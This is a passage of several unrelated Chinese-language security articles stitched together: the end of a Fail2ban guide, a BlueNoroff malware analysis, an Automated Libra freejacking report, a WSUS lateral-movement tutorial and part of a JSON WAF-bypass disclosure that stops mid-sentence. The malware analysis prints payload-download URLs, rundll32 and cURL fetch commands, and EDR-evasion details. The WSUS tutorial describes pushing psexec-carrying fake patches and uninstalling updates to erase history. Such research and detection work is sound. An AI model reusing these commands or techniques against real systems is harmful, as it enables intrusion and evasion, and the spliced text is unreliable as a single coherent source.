屏幕截圖2. 驗證失敗的過濾文本 配置完成後，使用以下命令重新加載Fail2ban： sudofail2ban-clientreload如果您只更改一個Jail文件的設置，則無需重新啟動該工具。只需使用此命令重新加載它： 此外，您可以將Fail2ban 配置為與配置文件中不存在的任何應用程序進行交互。您需要做的就是如上所述添加您的自定義配置。 如何使用Fail2ban要檢查當前啟用了哪些Jails ，請使用以下命令： sudofail2ban-clientstatus以下是響應示例： Status |-Numberofjail:2 `-Jaillist:nginx-http-auth,sshd如您所見，服務器上啟用了nginx-http-auth 和sshd Jails 。如果你想檢查任何Jail參數的值，你不需要打開配置文件；只需使用以下命令： 下面的代碼示例向我們展示了sshd Jail maxretry 等於5： sudofail2ban-clientgetsshdmaxretry5如果Jail超過其失敗身份驗證嘗試的限制，Fail2ban 將禁止在Jail配置中為IP 地址指定的端口。要檢查Jail狀態，請使用以下命令： 下面是一個響應示例，向我們展示了兩個IP 地址當前被禁止進行SSH 訪問： Statusforthejail:sshd |-Filter ||-Currentlyfailed:0 ||-Totalfailed:25 |`-Filelist:/var/log/auth.log `-Actions |-Currentlybanned:2 |-Totalbanned:5 `-BannedIPlist:192.168.10.107192.168.10.115如果您嘗試在您的IP 在禁止列表中時訪問服務器，您會收到如下所示的“連接被拒絕”錯誤： ssh:connecttohost192.168.10.105port22:Connectionrefused如果IP 地址被任何HTTP 服務器Jail禁止，錯誤將類似於： curl:(7)Failedtoconnectto192.168.10.105port80:Connectionrefused您還可以使用以下命令手動將任何IP 地址添加到禁止列表： 這是一個例子： sudofail2ban-clientsetnginx-http-authbanip10.100.1.210要手動取消禁止IP 地址，請使用以下命令： 這是一個例子： sudofail2ban-clientsetnginx-http-authunbanip10.100.1.210考慮到這一點，讓我們開始在Fail2ban 中配置通知。 如何配置Viber 聊天機器人以接收Fail2ban 通知如果要監控Fail2ban 活動，請使用以下三個步驟配置實時活動通知： 配置您要使用的任何通知服務 準備Fail2ban 動作配置文件 更新jail.local 文件中的action參數值 Fail2ban 具有使用電子郵件服務的配置。您需要做的就是在服務器上配置服務。 但是，如果您想通過Viber 等消息服務獲取通知怎麼辦？讓我們討論如何配置它！ 首先，要將Viber 用作通知服務，您需要創建一個Viber 聊天機器人。您可以在Viber API 文檔頁面上找到有關Viber 聊天機器人設置和配置的文檔。 一旦您的聊天機器人準備就緒，請務必執行以下步驟： 1. 獲取Viber 聊天機器人的身份驗證令牌。您可以在Viber 管理面板頁面上找到它。 2.在訂閱Viber 聊天機器人的所有用戶列表中找到您的用戶ID。為此，請使用以下HTTP 請求： 響應將向您顯示成員列表，如下例所示： 選擇所需成員的ID 並複制。 現在，您可以開始配置Fail2ban。轉到/etc/fail2ban/action.d 文件夾，其中包含所有可能的Fail2ban 操作的配置。 為Viber 通知創建一個新的配置文件。我們將其命名為viber_notifications.conf。現在將以下內容添加到文件中： 讓我們弄清楚上面的字符串是什麼意思以及我們可以配置什麼： actionban和actionunban參數描述了Fail2ban禁止或取消禁止可疑IP 地址時需要執行的操作。在我們的例子中，HTTP 請求會將消息從您的Viber 聊天機器人發送給您指定的用戶。 sender為配置通知發送者名稱的參數。在我們的示例中，我們使用名稱“Fail2ban”。 type是幫助您配置消息類型的參數。您可以使用Viber 發送不同的消息類型。在我們的示例中，我們使用文本類型。 name=default是一個字符串，表示將動態分配Jail名稱 我們的下一步是配置jail.local。為此，您需要在必要的Jail部分添加一個操作參數或更新[DEFAULT]部分中的默認參數。該參數應包含兩個操作：第一個用於IP 禁止，第二個用於Viber 通知。 這是使用action參數的示例 action=%(action_)s viber_notifications注意：%(action_)s是默認操作值。此操作將禁止IP 地址。讓我們將Viber 操作配置名稱“viber_notifications”添加到第二個字符串。 現在，由於對jail.conf 文件進行了更改，您需要重新加載Fail2ban 客戶端並重新啟動服務： sudofail2ban-clientreload systemctlrestartfail2ban聊天機器人將如下所示： 屏幕截圖3. Viber 聊天機器人中的Fail2ban 通知 配置完成。現在您可以使用Viber 聊天機器人實時監控Fail2ban 活動！ 結論密碼破解攻擊是對任何應用程序的嚴重威脅。惡意行為者使用不同的方法來未經授權訪問用戶帳戶並竊取用戶的敏感數據。 為了保護您的應用程序免受此類威脅，請應用嚴格的身份驗證策略並使用Fail2ban 等服務設置可靠的密碼破解保護。

BlueNoroff據說是一個朝鮮黑客組織，其攻擊主要充滿經濟動機。最近有消息報導，它創建70多個虛假域名並冒充銀行和風險投資公司後竊取了數百萬美元的加密貨幣。根據調查，大多數域名模仿日本風險投資公司，表明BlueNoroff對該國用戶和公司數據的濃厚興趣。 今年10月，我們觀察到其武器庫中採用了新的惡意軟件。該組織通常利用Word文檔，並使用快捷方式進行初始攻擊。然而，它最近開始採用新的惡意軟件傳播方法。 該組織採用的第一個新方法旨在規避網絡標記(MOTW)標誌，即當用戶試圖打開從互聯網下載的文件時，Windows會顯示警告信息的安全措施。為此，使用了光盤映像（.iso擴展名）和虛擬硬盤（.vhd擴展名）文件格式。這是當今逃避MOTW的常用策略，BlueNoroff也採用了這一策略。 此外，該組織還測試了不同的文件類型，以改進惡意軟件的傳播方法。我們觀察到一個新的Visual Basic腳本，一個以前未見過的Windows批處理文件和一個Windows可執行文件。 BlueNoroff幕後的攻擊者似乎正在擴展或嘗試新的文件類型，以有效地傳播他們的惡意軟件。 在研究了他們使用的基礎設施後，我們發現這個組織使用了70多個域名，這意味著他們直到最近都非常活躍。此外，他們還創建了大量看起來像風險投資和銀行域名的假域名。大多數域名模仿日本風險投資公司，表明該組織對日本金融實體有著廣泛的興趣。 BlueNoroff組織引入了新的文件類型來規避網絡標記(MOTW)安全措施； BleuNoroff組織擴展了文件類型並調整了感染方法; BlueNoroff創建了大量假冒風險投資公司和銀行的假域名。 背景 在2022年9月底，我們在追踪分析中觀察到新的BlueNoroff惡意軟件。經過仔細的調查，我們確認攻擊者採用了新的技術來傳達最終的負載。攻擊者利用了幾個腳本，包括Visual Basic腳本和Windows批處理腳本。他們還開始使用磁盤鏡像文件格式.iso和.vhd來傳播他們的惡意軟件。對於中間感染，攻擊者引入了一個下載程序來獲取和生成下一階段的有效負載。儘管最初的攻擊方法在這次活動中有很大不同，但我們之前分析的最終有效負載沒有發生重大變化。 新型感染鏈 持久攻擊的初始感染 根據追踪分析，我們觀察到阿聯酋的一名受害者受到了惡意Word文檔的攻擊。受害人於2022年9月2日收到了一份名為“Shamjit Client Details Form.doc”的文件。不幸的是，我們無法獲取該文檔，但它是從以下路徑執行的: 從文件路徑來看，我們可以假設受害者是銷售部門負責簽署合同的員工 啟動後，惡意文檔連接到遠程服務器並下載有效負載。在這種特殊情況下，可執行文件ieinstal.exe用於繞過UAC。 遠程URL:https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= 已創建負載路徑：%Profile%\cr.dat 衍生命令：cmd.exe%Profile%\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU= 初次感染後，我們觀察到攻擊者進行了幾次鍵盤操作。通過植入的後門，他們試圖對受害者進行指紋識別，並安裝具有高級權限的額外惡意軟件。在感染後，攻擊者執行了幾個Windows命令來收集基本的系統信息。 18小時後，他們又回來安裝了具有更高權限的惡意軟件。 後利用當惡意Word文檔打開時，它會從遠程服務器獲取下一個有效負載： 下載URL:http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= 提取的有效負載應保存在%Profile%\update.dll中。最終，提取的文件由以下命令生成： 命令#1:rundll32.exe%Profile%\update.dll，#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ== 命令#2:rundll32.exe%Profile%\update.dll，#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4= BlueNoroff組織通常使用的另一種方法是帶有快捷方式文件的ZIP存檔。我們最近發現的存檔文件包含一個受密碼保護的誘餌文檔和一個名為“Password.txt.lnk”的快捷方式文件。這是經典的BlueNoroff策略，說服受害者執行惡意快捷方式文件以獲取誘餌文檔的密碼。最新發現的檔案文件(MD5 1e3df8ee796fc8a13731c6de1aed0818)有一個日文文件名，新しいボ，ナススケジュ，ル.zip(日文“新獎金計劃”)，表明他們對日本目標感興趣。 與前一個快捷方式示例的主要區別在於，它獲取了額外的腳本負載（Visual Basic腳本或HTML應用程序），此外，此時還採用了另一種獲取和執行下一階段有效負載的方法。受害者雙擊快捷方式文件時執行了以下命令： 為了逃避檢測，攻擊者使用了Living Off the Land Binaries (LOLBins) DeviceCredentialDeployment執行是一個眾所周知的LOLBin，用於隱藏命令的窗口。攻擊者還濫用msiexe.exe文件，以靜默方式啟動獲取的Windows安裝程序文件。 方法1：規避MOTW標誌的技巧我們觀察到攻擊者檢查了不同的文件類型來傳遞他們的惡意軟件。最近，許多攻擊者採用圖像文件來避免MOTW (web標記)。簡而言之，MOTW是微軟引入的一種緩解技術。 NTFS文件系統標記從互聯網下載的文件，Windows以安全的方式處理該文件。例如，當從互聯網獲取Microsoft Office文件時，操作系統在受保護視圖中打開它，這限制了嵌入宏的執行。為了避免這種緩解技術，越來越多的攻擊者開始濫用ISO文件類型。 BlueNoroff組織很可能用ISO鏡像文件來傳播他們的惡意軟件。雖然它仍在開發中，但我們將此示例作為預警。此ISO圖像文件包含一個PowerPoint幻燈片放映和一個Visual Basic腳本。 ISO鏡像的嵌入式文件 Microsoft PowerPoint文件包含鏈接。當用戶點擊鏈接時，它將執行1.vbs文件。當我們檢查VBS文件時，它只生成了一個“ok”消息，這表明BlueNoroff仍在嘗試這種方法。 根據其他發現，我們從VirusTotal中發現了一個野外示例(MD5 a17e9fc78706431ffc8b3085380fe29f)。在分析時，此.vhd示例未被任何反病毒軟件檢測到。虛擬磁盤文件包括偽造的PDF文件、Windows可執行文件和加密的Dump.bin文件。 PDF和可執行文件在文件擴展名前有許多空格，以隱藏它並減少懷疑。 VHD文件裡面的一個文件 Job_Description[spaces].exe文件(MD5 931d0969654af3f77fc1dab9e2bd66b1)是加載下一階段有效負載的加載器。在啟動時，它將Dump.bin文件複製到%Templates%\war[current time][random value].bin (i.e. war166812964324445.bin). Dump.bin中PE頭被修改。惡意軟件讀取Dump.bin的第一個字節，即該文件中的0xAF，並使用該密鑰解碼0x3E8字節。解密後的數據是PE文件的頭文件，將恢復後的頭文件覆蓋到原文件中。最後，它通過生成普通的第一個導出函數來加載解密的DLL文件。 生成的下載程序在文件的末尾包含一個加密的配置。惡意軟件首先從文件末尾獲取配置數據的總大小和有效負載URL的長度。它們分別位於文件末尾的4字節和8字節處。惡意軟件使用嵌入的64字節密鑰，使用RC4算法解密配置數據。 RC4秘鑰：46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 50 33。 恢復URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D 配置結構 然而，在另一個下載程序的示例中，有效負載URL是使用命令行參數傳播的。另外，一些其他下載程序(MD5 f766f97eb213d81bf15c02d4681c50a4)具有檢查工作環境的功能。如果物理內存小於2147,483,648字節，惡意軟件將終止執行。 下載程序感染流 此下載程序檢查以下防病毒供應商的名稱：Sophos、Kaspersky、Avast、Avira、Bitdefender、TrendMicro和Windows Defender。如果安裝了TrendMicro、BitDefender或Windows Defender產品，則惡意軟件會執行一個經典的解鎖DLL技巧，以從系統庫中刪除用戶模式掛鉤。這種規避技術會用新加載的ntdll庫覆蓋預加載的ntdll庫的.text部分，以便使用原始API地址恢復掛接的API地址。使用此技巧，惡意軟件可以禁用EDR/AV產品的功能。接下來，惡意軟件創建一個互斥鎖以避免重複執行。 互斥名稱：da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f 接下來，惡意軟件在同一目錄中打開一個PDF誘餌文檔。這份假文件偽裝成一家日本跨國銀行提供的工作邀請。 如果受害者的電腦上安裝了Windows Defender或Bitdefender Antivirus，惡意軟件就會執行以下命令: Windows Defender: cmd /c timeout /t 10 Del /f /q \”[current file name]\” attrib -s -h \”[PDF decoy file]\” rundll32 \”[current DLL file path]\” #1； Bitdefender: cmd /c timeout /t 10 rundll32 \”[current DLL file path]\” #1； 這種惡意軟件的主要目標是獲取下一階段的有效負載。為此，惡意軟件使用cURL庫，根據安裝的防病毒軟件組合cURL命令。 Avira or Avast installed: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d da； Other cases: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d dl； 注意，用戶代理名稱為“cur1-agent”，如果受害者安裝了Avira或Avast，惡意軟件會發送“da”POST數據。否則，惡意軟件將發送“dl”POST數據。如果cURL命令獲取的數據包含“ 如果安裝了Avira或Avast，惡意軟件將解密的有效負載保存到“%TEMPLATES%\marcoor.dll”，並使用帶有有效負載URL的rundll32.exe命令生成它。 command: exe %TEMPLATES%\marcoor.dll #1 [payload URL] 否則，惡意軟件不會將有效負載寫入文件，而是將獲取的有效負載注入explorer.exe進程。所獲取的有效負載是一個DLL類型的可執行文件，其導出函數由“有效負載URL”派生。 不幸的是，到目前為止，我們還無法獲得精確的感染鏈。然而，從分析數據中，我們可以確認受害者最終是被後門類型的惡意軟件攻擊的。基於惡意軟件的靜態信息和部分內部代碼，我們評估最終的有效負載仍然與我們在上一篇文章中描述的Persistence Backdoor#2非常相似。 方法2：腳本和小說下載程序此外，我們還觀察到可疑批處理文件的下載和啟動。攻擊者利用了不同的lolbin。惡意軟件的執行是使用system目錄下合法的script, SyncAppvPublishingServer.vbs, 完成的。此腳本用於通過Windows計劃任務執行PowerShell腳本。 我們還在分析中觀察到了該批處理文件的上下文。批處理文件名為“What is Blockchain.bat”。顧名思義，該組織仍然以區塊鏈行業為目標。為此，我們提取了批處理文件的scriptlet。 Inproc.exe是合法的mshta.exe文件(MD5 0b4340ed812dc82ce636c00fa5c9bef2)， rwinsta.exe是合法的rundll32.exe文件(MD5 ef3179d498793bf4234f708d3be28633)。 Blockchain.pdf文件是mshta.exe進程生成的惡意HTML應用程序文件。雖然沒有HTA腳本(Blockchain.pdf)，但我們可以基於假設腳本的功能顯示誘餌文檔並獲取下一階段的有效負載。 此外，我們觀察到該組織在此時引入了一個新的Windows可執行類型的下載程序。這個惡意軟件(MD5 087407551649376d90d1743bac75aac8)在獲取遠程有效負載並執行時生成一個假密碼文件。在執行時，它創建一個假文件(wae.txt)來顯示由字符串“password”組成的密碼，並從嵌入的URL中獲取有效負載並加載它。該方案通過notepad.exe顯示密碼，這是BlueNoroff組織為了避免引起受害者的懷疑而慣用的伎倆。通常，密碼包含打開所提供的加密誘餌文檔所需的密碼。 含有假密碼文件的下載 攻擊者可能將上述Windows可執行文件以壓縮文件格式或磁盤映像文件格式與加密的誘餌文檔一起傳播。 基礎設施 在進行這項研究時，我們發現了攻擊者使用的幾個C2服務器。與往常一樣，所有服務器都由VPS供應商託管，其中幾個服務器被解析到相同的IP地址。域名註冊可以追溯到2021年早些時候。 攻擊者通常使用假域名，如雲託管服務來託管惡意文件或有效負載。他們還創建了偽裝成金融業合法公司和投資公司的假域名。這些域名，包括旋轉域名（pivoted domain），模仿風險資本名稱或大型銀行名稱。大多數公司都是日本公司，這表明這位演員對日本市場非常感興趣。 受害者分析正如我們在“持久攻擊的初始感染”一節中所描述的那樣，我們發現阿聯酋的一個受害者(可能是一家家庭融資公司)受到了經典的BlueNoroff組織的攻擊。這個以經濟為動機的攻擊組織最近一直在攻擊各種與加密貨幣相關的業務，以及其他金融公司。 總結根據最近的一份報告，BlueNoroff組織利用他們的網絡攻擊能力竊取了價值數百萬美元的加密貨幣。這表明這個組織有很強的經濟動機，正如我們從最新的發現中看到的，這個臭名昭著的攻擊者已經對他們的惡意軟件進行了迭代。這也表明，在不久的將來，它將發起更大的攻擊。

Automated Libra黑客組織通過CAPTCHA繞過技術自動賬號創建，進行加密貨幣挖礦。 近期，南非黑客組織'Automated Libra'通過CAPTCHA繞過技術實現自動賬號創建，在雲平台創建賬戶，利用免費的資源進行加密貨幣挖礦來獲利。 Automated Libra是位於南非的黑客組織，也是freejacking攻擊活動PurpleUrchin背後的黑客組織。 Freejacking 是使用免費云資源來執行加密貨幣挖礦活動的過程。 Unit 42 研究人員分析了Automated Libra的250GB數據，發現了黑客的基礎設施、歷史和使用的技術。黑客使用簡單的圖像分析技術繞過CAPTCHA圖像，實現雲平台自動化賬號創建，每分鐘可以成功創建3-5個GitHub賬戶。 Unit 42研究人員成功發現了黑客在PurpleUrchin攻擊活動中使用的40個加密貨幣錢包和7種不同的加密貨幣。 利用GitHub工作流進行加密貨幣挖礦Automated Libra在針對GitHub的攻擊活動中融合了Play and Run以及freejacking技術。此外，攻擊者還利用了GitHub CAPTCHA檢查的弱點。 攻擊者以平均每分鐘3-5個的速度自動創建GitHub賬號。創建GitHub賬號後，就開始了freejacking攻擊活動。 攻擊者在不同的VPS（virtual private server）提供商和雲服務提供商平台上創建了超過13萬個賬戶，但是並沒有付費。這些創建的賬戶使用的都是虛假的個人信息以及信用卡信息。這使得攻擊者可以在完成加密貨幣挖礦活動後並未完成付費。 自動化賬號創建創建GitHub賬戶的第一步是輸入郵件地址、密碼和用戶名，如圖1所示： 圖1. GitHub表單完成 容器運行虛擬網絡計算（VNC）服務器：使用如下命令啟動Iron瀏覽器： 圖2. VNC服務器展示Iron瀏覽器 然後使用xdotool工具，該工具是完成GitHub表單的主要腳本。表單完成後，GitHub會提示CAPTCHA： 圖3. GitHub CAPTCHA 攻擊者使用了一個非常簡單的機制來解決CAPTCHA問題。從攻擊者創建的GitHub賬戶統計數據來看，攻擊者實現CAPTCHA繞過的方法非常有效。 利用CAPTCHA的弱點為繞過CAPTCHA需要識別圖片背景中的星系，攻擊者使用了ImageMagick工具套件中的2個工具：convert 和identify。 首先，使用convert工具將圖像轉化為RGB格式。 圖4將圖像轉化為RBG 轉化完成後，使用identify命令來提取red 通道的skewness 特徵： 圖5. 提取red 通道的skewness 特徵的命令 最終的結果如圖6所示，以從大到小的順序排序。值最小的圖像就是背景圖片，比如： 圖6. 每個圖片的red通道輸出 圖4中的image 2就是識別出的星系背景圖片。 CAPTCHA解決後，GitHub需要一個啟動碼，如圖7所示： 圖7. GitHub 請求啟動碼 攻擊者使用Gmail賬號來自動獲取啟動碼。這一過程使用了IMAP協議和PHP腳本來讀取收到的IMAP消息。 啟動碼輸入後，自動化過程就可以生成個人訪問token。 GitHub註冊過程的最終結果是一個用戶名和GitHub部署的個人訪問token。 圖8. 調用運行的容器 隨後，容器執行以下操作： 設置SSH 密鑰； 使用GitHub API創建GitHub庫； 配置創建的庫的權限。 此外，攻擊者還使用基於MD5哈希值的隨機名來對庫進行命名。 圖9. 對庫進行隨機命名的命令 GitHub庫創建完成後，攻擊者調用一個bash腳本來用目標工作流來更新庫。工作流是用PHP腳本生成的， PHP模板編碼的工作流示例如圖10所示： 圖10. PHP模板 研究人員發現其中的一個工作流中有64個任務。生成的工作流配置為github.event.client_payload.app事件下的repository_dispatch運行。工作流機制允許攻擊者執行外部應用。在本例，攻擊者運行外部bash腳本和容器，如圖11所示： 圖11. 執行外部應用的工作流機制 工作流運行的bash腳本是從外部域名訪問的。攻擊者運行的容器是用來安裝和初始化加密貨幣挖礦功能的，如圖12所示： 圖12. 加密貨幣挖礦容器 生成的工作流運行64個任務，每個任務都從5個可用的唯一配置中隨機選擇一個。 經過確認的攻擊者創建的GitHub賬戶數如下圖所示。 圖13. PurpleUrchin攻擊者創建的GitHub賬戶數 此外，攻擊者還在Heroku、Togglebox、GitHub等不同雲平台服務商創建了超過13萬用戶賬戶。

0x00 前言在內網滲透中，當我們獲得了WSUS服務器的控制權限後，可以通過推送補丁的方式進行橫向移動。這個利用方法最早公開在BlackHat USA 2015。本文將要整理這個利用方法的相關資料，結合思路，得出行為檢測的方法。 0x01 簡介本文將要介紹以下內容： 環境搭建 利用思路 實現工具 行為檢測 0x02 環境搭建本節介紹WSUS服務器搭建的過程，通過配置客戶端實現補丁的推送 參考資料： https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10) 1.WSUS服務器搭建WSUS服務器需要安裝在Windows Server操作系統 (1)安裝 在添加角色和功能頁面，選擇Windows Server Update Services 需要指定補丁更新包的存放路徑，這裡可以設置為C:\WSUS (2)配置 打開Windows Server Update Services進行配置 配置時選擇默認選項即可，在選擇Download update information from Microsoft Update時，點擊Start Connecting，如果報錯提示An HTTP error has occurred，經過我的多次測試，可以採用以下方法解決： 關閉當前頁面 進入Windows Server Update Services，選擇synchronization，點擊synchronization Now，等待同步完成，如下圖 選擇Options，選擇WSUS Server Configuration Wizard，重新進入配置頁面，連接成功，如下圖 配置完成後需要創建計算機組，如下圖 當同步完成後，會提示下載了多少個補丁，如下圖 選擇Updates頁面，可以查看已下載的補丁，Unapproved表示未安裝的補丁，安裝後的補丁可以選擇Approved進行查看，如下圖 選中一個補丁，點擊Approve.彈出的對話框可以針對指定計算機組安裝補丁，如下圖 2.客戶端配置客戶端只要是Windows系統即可，需要通過組策略配置 依次選擇Computer Configuration-Administrative Templates-Windows Components-Windows Update，選擇Configure Automatic Updates，設置成Auto download and notify for install，選擇Specify intranet Microsoft update service location，設置更新服務器地址為http://192.168.1.182:8530 注： 需要指定端口8530 對於域環境，配置組策略後需要等待一段時間，這是因為組策略每90分鐘在後台更新一次，隨機偏移量為0-30分鐘，如果想立即生效，可以輸入命令：gpupdate /force 對於工作組環境，配置組策略可以立即生效 當客戶端開始補丁更新時，WSUS服務器會獲得客戶端的信息，並顯示在Computers頁面 組策略配置的操作等同於創建註冊表，具體信息如下： (1)組策略配置自動更新後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU 查詢命令：REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' 返回結果示例： 其中AUOptions對應組策略配置中的Configure automatic updating，2代表Notify for download and notify for install，3代表Auto download and notify for install，4代表Auto download and schedule the install，5代表Allow local admin to choose setting (2)組策略配置服務器地址後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate 查詢命令：REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' 返回結果示例： 3.推送補丁在WSUS服務器的Windows Server Update Services頁面，選擇指定補丁，右鍵點擊Approve.在彈出的對話框中選擇計算機組即可 等待客戶端到達補丁更新時間，即可完成補丁的推送 0x03 利用思路如果我們能夠生成一個帶有Payload的補丁，就能夠通過補丁進行橫向移動，但是在利用上需要注意補丁文件的簽名問題：Windows的補丁文件需要帶有微軟的簽名 通常的利用方法是使用帶有微軟簽名的程序，例如psexec，通過psexec執行命令或者添加一個管理員用戶 0x04 實現工具開源的工具有以下三個： https://github.com/nettitude/SharpWSUS https://github.com/AlsidOfficial/WSUSpendu https://github.com/ThunderGunExpress/Thunder_Woosus 以上三個工具的實現原理基本相同，都是創建一個調用psexec執行命令的補丁，將補丁推送至指定計算機，等待目標計算機更新補丁 創建補丁的操作需要連接SQL數據庫，依次實現以下操作： ImportUpdate PrepareXMLtoClient InjectURL2Download DeploymentRevision PrepareBundle PrepareXMLBundletoClient DeploymentRevision 1.創建補丁SharpWSUS在創建補丁時需要注意轉義字符，命令示例： 這條命令將會在Updates的Security Updates頁面下創建WSUSDemo，如下圖 2.補丁部署將補丁部署到指定計算機組，命令示例： 這條命令會創建計算機組Demo Group，並且把win-iruj9k30gr7移動到該組下面，如下圖 接下來需要等待客戶端安裝這個補丁 3.查看補丁狀態查看補丁是否被安裝，命令示例： 補丁未安裝的輸出如下： 還有一種查看方法是查看計算機的補丁更新時間，示例命令：SharpWSUS.exe inspect 輸出示例： 為了便於測試，可以強制客戶端更新補丁，看到新的補丁信息，如下圖 4.清除補丁信息命令示例： 這條命令會刪除補丁，刪除添加的計算機組 在整個補丁更新過程中，WSUS服務器會將psexec.exe保存在WSUS服務器本地C:\wsus\wuagent.exe和C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe，需要手動清除 在測試WSUSpendu時，為了便於分析細節，可以修改以下代碼： 命令行執行：powershell -ep bypass -f WSUSpendu.ps1 -Verbose，將會輸出完整的信息 0x05 行為檢測客戶端的補丁歷史更新記錄會保存所有的補丁安裝信息： 如下圖 但是，攻擊者如果獲得了系統的管理員控制權限，可以通過命令行卸載補丁的方式清除歷史更新記錄，命令行卸載補丁的命令示例： 查看更新：wmic qfe list brief/format:table 卸載指定更新：wusa /uninstall /kb:976902 /quiet /norestart 0x06 小結本文介紹了通過WSUS進行橫向移動的方法和實現工具，結合利用思路，給出行為檢測的建議。 參考資料： https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/ https://labs.nettitude.com/blog/introducing-sharpwsus/

JSON 語法自2012 年開始作為新特性被各類SQL 數據庫支持，目前所有主流數據庫都已支持JSON 語法，但目前的主流WAF並沒有做相應跟進，從而可以被繞過。 Team82開發了一種通用的繞過行業領先的web應用程序防火牆(WAF)的方法。 攻擊技術包括將JSON語法附加到WAF無法解析的SQL注入有效負載。 主要的WAF供應商在他們的產品中缺乏JSON支持，儘管大多數數據庫引擎已經支持了十年。 大多數WAF可以很容易地檢測到SQLi攻擊，但是將JSON前置SQL語法使WAF無法檢測到這些攻擊。 使用這種技術的攻擊者將能夠繞過WAF的保護，並使用其他漏洞來竊取數據。 簡介Web應用防火牆(WAF)旨在保護基於Web的應用程序和API免受惡意外部HTTPs流量的影響，尤其是跨站腳本和SQL注入攻擊，這些攻擊危險似乎還未解除。 WAF的引入在很大程度上是為了應對這些編碼錯誤。 WAF現在是保護存儲在數據庫中的組織信息的關鍵防線，這些信息可以通過web應用程序訪問。 WAF也越來越多地用於保護基於雲的管理平台，這些管理平台監督連接的嵌入式設備，如路由器和接入點。 能夠繞過WAF的流量掃描和攔截功能的攻擊者通常可以直接訪問敏感的業務和客戶信息。值得慶幸的是，這樣的繞過並不常見，而且針對特定供應商的實現是一次性的。 目前，Team82引入了一種攻擊技術，它是業界領先供應商銷售的多個web應用程序防火牆的第一個通用繞過。該繞過適用於五個主要供應商銷售的WAF: Palo Alto, F5, Amazon Web Services, Cloudflare和Imperva。目前，所有受影響的供應商都承認Team82的披露，並實施了修復，將JSON語法支持添加到其產品的SQL檢查過程中。 Team82的技術首先依賴於理解WAF如何識別和標記惡意SQL語法，然後找到WAF看不到的SQL語法。這是JSON。 JSON是一種標準的文件和數據交換格式，通常用於將數據從服務器發送到web應用程序。 在SQL數據庫中引入JSON支持可以追溯到大約10年前。現在的數據庫引擎默認支持JSON語法、基本搜索和修改，以及一系列JSON函數和操作符。雖然JSON支持是數據庫引擎的標準，但WAF卻並非如此。供應商在添加JSON支持方面一直進展緩慢，這使得Team82能夠創建新的SQL注入有效負載，其中包括繞過WAF提供的安全性的JSON。 使用這種新技術的攻擊者可以訪問後端數據庫，並使用額外的漏洞，通過直接訪問服務器或通過雲竊取信息。 這對於已經轉向基於雲的管理和監控系統的運行和物聯網平台尤為重要。 WAF提供了來自云的額外安全性的承諾，能夠繞過這些保護的攻擊者可以廣泛地訪問系統。 Team82在去年開發了這項技術，當時他們正在對Cambium Networks的無線設備管理平台進行不相關的研究，包括其內部或云端銷售的cnMaestro無線網絡管理器。 Cambium Networks無線接入點 Cambium的cnMaestro雲架構允許用戶從雲端遠程配置和控制他們的AP Wi-Fi設備 為了了解平台是如何構建的，以及它的許多內部API和路由，Team82從Cambium的網站下載了cnMaestro內部部署的開放虛擬化格式虛擬機。 Team82了解到cnMaestro是由許多不同的NodeJS後端服務構建的，這些服務處理用戶對特定路由的請求。這些服務都有輕微的混淆，使得研究平台變得困難。為了將每個請求代理到正確的服務，Nginx被用來通過所請求的URL來傳遞請求。 cnMaestro提供了兩種不同的部署類型: 本地部署：創建一個由用戶託管和管理的專用cnMaestro服務器。 雲部署：位於Cambium Networks雲基礎設施上的cnMaestro服務器，cnMaestro的所有此類實例都以多租戶架構託管在Cambium組織下的Amazon AWS雲上。 雲部署託管在亞馬遜AWS上的cnMaestro雲部署包括一個cnMaestro的主要實例(託管在https://cloud.cambiumnetworks.com上)，它處理登錄、設備部署，並將大部分平台數據保存在主數據庫中。 任何註冊到cnMaestro Cloud應用程序的用戶都會獲得一個個人Amazon AWS實例，其中包含個人URL (Cambium主雲的子域)和組織標識符。這有助於在多租戶設計中分離不同的用戶。為了訪問你的cnMaestro實例，將按照以下方案生成一個唯一的URL：https://us-e1-sXX-XXXXXXXXXX.cloud.cambiumnetworks.com 在Team82對Cambium cnMaestro的研究結束時，他們發現了7個不同的漏洞，可以在這里和Team82的披露儀表板上看到。然而，一個特別的漏洞讓Team82陷入了一個巨大的兔子洞，導致Team82發現並開發了這項新技術。 很難利用的零日漏洞Team82發現的一個特殊的Cambium漏洞被證明更難利用：CVE-2022-1361。該漏洞的核心是一個簡單的SQL注入漏洞，但實際的開發過程需要Team82跳出思維定式，創建一個全新的SQL技術。利用這個漏洞，Team82能夠竊取用戶的會話、SSH密鑰、密碼哈希、令牌和驗證碼。 此漏洞的核心問題是，在這種特殊情況下，開發人員沒有使用準備好的語句將用戶提供的數據附加到查詢中。他們沒有使用將用戶參數附加到SQL查詢並清除輸入的安全方法，而是直接將其附加到查詢中。 Team82在CVE-2022-1361中濫用的SQL注入匯點 